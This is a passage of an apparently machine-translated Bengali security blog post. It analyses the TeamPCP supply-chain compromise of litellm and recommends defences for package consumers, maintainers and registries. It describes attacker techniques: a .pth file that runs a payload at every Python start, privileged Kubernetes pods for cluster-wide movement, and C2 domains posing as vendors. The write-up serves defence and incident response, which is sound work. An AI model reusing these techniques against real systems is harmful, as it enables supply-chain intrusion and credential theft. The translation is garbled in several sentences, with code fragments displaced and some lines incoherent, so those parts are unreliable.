সার্জারির litellm_init.pth v1.82.8-এর কৌশলটি বিশেষভাবে মারাত্মক। পাইথন .pth ফাইলগুলি site-packages/ প্রতিটি ইন্টারপ্রেটার চালুর সময় প্রক্রিয়া করা হয়; যে কোনো লাইন যা দিয়ে শুরু হয় import কোড হিসাবে কার্যকর করা হয়। একটি একক পেলোডে শৃঙ্খলিত করে import এই স্টেটমেন্ট অনুযায়ী, আক্রমণকারী প্রতিটি পাইথন প্রসেসে পেলোডটি কার্যকর করতে সক্ষম হয় — শুধু litellm ইম্পোর্ট করার সময়েই নয়। এর মানে হলো, litellm ইনস্টল করা থাকলেও যদি কখনো ব্যবহার না করা হয়, তাহলেও পেলোডটি সক্রিয় হয় এবং ক্ষতিগ্রস্ত পেলোডটি প্রতিস্থাপনকারী প্রতিকারমূলক ব্যবস্থা গ্রহণ করলেও এটি টিকে থাকে। .py যাচাই না করে ফাইলগুলি .pth ফাইল।
৩. প্রিভিলেজড পড ডিপ্লয়মেন্টের মাধ্যমে কুবারনেটিস ক্লাস্টার-ব্যাপী ল্যাটারাল মুভমেন্ট (T1610, T1611)
প্রতিটি ক্লাস্টার নোডে প্রিভিলেজড পডগুলির স্বয়ংক্রিয়ভাবে তৈরি হওয়া — এর সাথে hostPID, hostNetworkহোস্ট ফাইলসিস্টেম মাউন্ট, এবং chroot পার্সিস্টেন্স ইনস্টল করতে — কন্টেইনার ডেপ্লয়মেন্ট (T1610) এবং হোস্টে এস্কেপ (T1611)-কে চেইন করে একটি একক কম্প্রোমাইজড ওয়ার্কলোডকে সম্পূর্ণ ক্লাস্টার কম্প্রোমাইজে পরিণত করা হয়।
৪. বিক্রেতার ছদ্মবেশে সি২ পরিকাঠামো
ব্যবহার models.litellm.cloud (লিটেলম-এর অনুকরণে) এবং checkmarx.zone (চেকমার্ক্স-এর অনুকরণে) C2/এক্সফিল এন্ডপয়েন্টগুলো নেটওয়ার্ক মনিটরিং এড়ানোর জন্য ডিজাইন করা হয়েছে। বহির্গামী ট্র্যাফিক পর্যালোচনা করার সময় SOC বিশ্লেষকরা এমন HTTPS সংযোগ দেখতে পাবেন, যেগুলোকে বৈধ ভেন্ডর ডোমেইন বলে মনে হবে।
৫. দ্রুত উড্ডয়নকালীন পেলোড পুনরাবৃত্তি
ইম্পোর্ট করার সময়ে v1.82.7 এবং তার ১৩ মিনিট পর স্টার্টআপের সময়ে v1.82.8 প্রকাশ করা থেকে বোঝা যায় যে আক্রমণকারী রিয়েল টাইমে পর্যবেক্ষণ ও অভিযোজন করছিল। সোর্স কোডে সংরক্ষিত কমেন্ট-আউট করা পেলোড ভ্যারিয়েন্টগুলো (ভিন্ন ভিন্ন এনক্রিপশন স্কিমসহ) অপারেশন চলাকালীন সক্রিয় উন্নয়নের বিষয়টি নিশ্চিত করে।
কি করা যেতে পারে
এই আক্রমণটি প্রতিটি স্তরে বিশ্বাসকে কাজে লাগায়: নিরাপত্তা সরঞ্জামের উপর বিশ্বাস, প্যাকেজ রেজিস্ট্রির উপর বিশ্বাস, পরিচিত ডোমেইনের উপর বিশ্বাস, এবং আরও অনেক কিছুর উপর বিশ্বাস। CI/CD স্বয়ংক্রিয়করণ। এর মোকাবিলা করার জন্য বিশ্বাসের এই প্রতিটি সীমারেখাকে আরও শক্তিশালী করা প্রয়োজন:
প্যাকেজ গ্রাহকদের জন্য
- শুধু ভার্সন নয়, হ্যাশ দিয়েও নির্ভরতা পিন করুন।
pip install litellm==1.82.6 --hash=sha256:...আপোসকৃত সংস্করণগুলো ইনস্টল হওয়া থেকে প্রতিরোধ করা যেত, এমনকি যদি সেগুলো ক্ষণিকের জন্য সর্বশেষ সংস্করণ হিসেবে প্রদর্শিতও হতো। - লকফাইল ব্যবহার করুন।
pip-compile,poetry.lock, এবংuv.lockসঠিক সংস্করণ এবং হ্যাশগুলো ধারণ করুন। CI/CD ফ্লোটিং ভার্সন স্পেসিফায়ার থেকে নয়, লকফাইল থেকে ইনস্টল করা উচিত। - জন্য মনিটর
.pthফাইল। নিয়মিত অডিট করুনsite-packages/অপ্রত্যাশিত জন্য.pthফাইলগুলো — এগুলো প্রতিবার পাইথন চালু হওয়ার সময় এক্সিকিউট হয় এবং এটি একটি অবহেলিত ডেটা সংরক্ষণ ব্যবস্থা। - বহির্গমন নেটওয়ার্ক নিয়ন্ত্রণ ব্যবস্থা বাস্তবায়ন করুন। বহির্গমন
models.litellm.cloudএবং C2 পোলিংcheckmarx.zoneপ্রোডাকশন পরিবেশে অ্যালাওলিস্ট-ভিত্তিক ইগ্রেস ফিল্টারিংয়ের মাধ্যমে এটি ধরা পড়তে পারত।
প্যাকেজ রক্ষণাবেক্ষণকারীদের জন্য
- পিন CI/CD দ্বারা কর্ম commit SHA, ট্যাগ নয়। LiteLLM's pipeline পিন করা সংস্করণ ছাড়া ট্রিভি ব্যবহার করা হয়েছে। যদি এটি উল্লেখ করত
aquasecurity/trivy-action@<commit-sha>পরিবর্তে@latest, আপোসকৃত কাজটি কার্যকর হতো না। - স্বল্পস্থায়ী ও সীমিত পরিসরের পাবলিশিং টোকেন ব্যবহার করুন। PyPI বিশ্বস্ত প্রকাশক (OIDC-ভিত্তিক) এবং স্কোপড এপিআই টোকেন সমর্থন করে। পাচারকৃত
PYPI_PUBLISHটোকেনটির দীর্ঘস্থায়ী ও অবাধ প্রকাশনা অ্যাক্সেস থাকা উচিত ছিল না। - PyPI-তে দ্বি-স্তর প্রমাণীকরণ সক্রিয় করুন। সকল রক্ষণাবেক্ষণকারীর জন্য 2FA বাধ্যতামূলক করুন এবং যেখানে সম্ভব হার্ডওয়্যার নিরাপত্তা কী ব্যবহার করুন।
- প্যাকেজগুলিতে স্বাক্ষর করুন। Sigstore/PEP 740 অ্যাটেস্টেশন গ্রাহকদেরকে যাচাই করার সুযোগ দেয় যে একটি প্যাকেজ প্রত্যাশিতভাবে তৈরি করা হয়েছে। CI/CD pipelineকোনো আক্রমণকারী চুরি করা টোকেন ব্যবহার করে এটি করেনি।
প্ল্যাটফর্ম অপারেটরদের জন্য (PyPI, npm, GitHub)
- অস্বাভাবিক প্রকাশনা ধরণ শনাক্ত করুন। স্বাভাবিকের চেয়ে ভিন্ন আইপি বা টোকেন থেকে ১৩ মিনিটের ব্যবধানে প্রকাশিত দুটি নতুন সংস্করণ, প্যাকেজটি ইনস্টলযোগ্য হওয়ার আগে পর্যালোচনার জন্য স্থগিতকরণ বা স্বয়ংক্রিয় স্ক্যানিং চালু করবে।
- বিশ্বস্ত প্রকাশকদের গ্রহণ ত্বরান্বিত করুন। OIDC-ভিত্তিক পাবলিশিং প্যাকেজগুলোকে নির্দিষ্ট রিপোজিটরি এবং ওয়ার্কফ্লোর সাথে আবদ্ধ করে, ফলে চুরি করা টোকেনগুলো মূল রিপোজিটরির বাইরে অকেজো হয়ে পড়ে। CI/CD প্রসঙ্গ
- প্রকাশের সময় ম্যালওয়্যার স্ক্যানিং বাস্তবায়ন করুন। proxy_server.py-তে থাকা base64-ডিকোড করা পেলোডটি প্রকাশের সময় স্ট্যাটিক বিশ্লেষণের মাধ্যমে শনাক্ত করা যাবে।
বাস্তুতন্ত্রের জন্য
- নিরাপত্তা সরঞ্জামগুলোকে অত্যাবশ্যকীয় অবকাঠামো হিসেবে বিবেচনা করুন। Trivy এবং Checkmarx KICS লক্ষ লক্ষ মানুষ ব্যবহার করে। pipelineতাদের স্ক্যান করা প্যাকেজগুলোর মতোই একই কঠোরতার সাথে তাদের গিটহাব অ্যাকশনগুলোও স্বাক্ষরিত, পিন করা এবং পর্যবেক্ষণ করা উচিত।
- রানটাইম ডিটেকশনে বিনিয়োগ করুন। শুধুমাত্র স্ট্যাটিক বিশ্লেষণ দিয়ে সব ধরনের তথ্য গোপনের কৌশল ধরা যায় না। প্যাকেজ ইনস্টলের রানটাইম পর্যবেক্ষণ। hooksঅপ্রত্যাশিত নেটওয়ার্ক সংযোগ এবং সন্দেহজনক ফাইল অ্যাক্সেস প্যাটার্ন গভীর প্রতিরক্ষা প্রদান করে।
- হুমকি সংক্রান্ত তথ্য আরও দ্রুত শেয়ার করুন। বিভিন্ন ভেন্ডরের মধ্যে দ্রুততর সমন্বয়ের মাধ্যমে litellm-এর জন্য নির্ধারিত ৫.৫-ঘণ্টার এক্সপোজার উইন্ডোটি আরও সংক্ষিপ্ত হতে পারত। Xygeni MEW, Socket, এবং Snyk-এর মতো স্বয়ংক্রিয় স্ক্যানিং পরিষেবাগুলো এই অসঙ্গতিটি শনাক্ত করেছে — মূল প্রতিবন্ধকতাটি হলো মানুষের দ্বারা নিশ্চিতকরণ এবং রেজিস্ট্রির প্রতিক্রিয়ার সময়।
উপসংহার
টিমপিসিপি প্রচারাভিযানটি একটি যুগান্তকারী মুহূর্ত software supply chain securityপ্রথমে নিরাপত্তা স্ক্যানারগুলোকে অকার্যকর করে এবং সেগুলোকে উচ্চ-মূল্যের এআই পরিকাঠামোতে পৌঁছানোর সোপান হিসেবে ব্যবহার করে, আক্রমণকারীরা দেখিয়ে দিয়েছে যে একটি সরবরাহ শৃঙ্খল তার সবচেয়ে দুর্বল পরোক্ষ নির্ভরতার মতোই শক্তিশালী, এবং সেই নির্ভরতাটিই হতে পারে আপনার সুরক্ষার জন্য বিশ্বস্ত নিরাপত্তা সরঞ্জাম।
লিটেলম আপস বিশেষভাবে এআই পরিকাঠামোর ক্রমবর্ধমান ঝুঁকিকে তুলে ধরে। যেহেতু এলএলএম প্রক্সি গেটওয়েগুলি হয়ে উঠছে standard প্যাটার্নের জন্য enterprise এআই স্থাপনের ক্ষেত্রে, তারা এপিআই কী, ক্লাউড ক্রেডেনশিয়াল এবং সংবেদনশীল ডেটার অ্যাক্সেস একটিমাত্র কম্পোনেন্টে কেন্দ্রীভূত করে। সেই কম্পোনেন্টটির নিরাপত্তা লঙ্ঘন করাই হলো পুরো এআই স্ট্যাকের চাবিকাঠি।
যেসব প্রতিষ্ঠান উক্ত ৫.৫-ঘণ্টার সময়কালে litellm 1.82.7 বা 1.82.8 ইনস্টল করেছে, তাদের এটিকে একটি সম্পূর্ণ ক্রেডেনশিয়াল লঙ্ঘন হিসেবে বিবেচনা করা উচিত: প্রভাবিত সিস্টেমগুলিতে সমস্ত সিক্রেট রোটেট করুন, এবং কুবারনেটিস ক্লাস্টারগুলি অডিট করুন। node-setup-* শুঁটি kube-systemযেকোনো কিছু অপসারণ করুন sysmon.service সিস্টেমডি ইউনিট, এবং পরীক্ষা করুন litellm_init.pth পাইথনে site-packages/ ডিরেক্টরিগুলো। অফিসিয়াল ডকার ইমেজের ব্যবহারকারীরা (ghcr.io/berriai/litellm) প্রভাবিত হয়নি, কারণ ছবিটি তার নির্ভরতাগুলো স্থির করে রেখেছিল এবং এক্সপোজার উইন্ডোর সময় এটি পুনরায় তৈরি করা হয়নি।
লেখক সম্পর্কে
সহ-প্রতিষ্ঠাতা এবং সিটিও
লুইস রদ্রিগেজ তিনি জাইজেনি সিকিউরিটির সহ-প্রতিষ্ঠাতা এবং সিটিও। অ্যাপ্লিকেশন সিকিউরিটিতে ২০ বছরেরও বেশি অভিজ্ঞতার সাথে, তিনি অ্যাপসেক সুরক্ষা এবং উন্নত কোড-বিশ্লেষণ ক্ষমতার উপর মনোযোগ দেন, যা টিমগুলোকে প্রকৃত ডেলিভারি ঝুঁকি কমাতে সাহায্য করে।




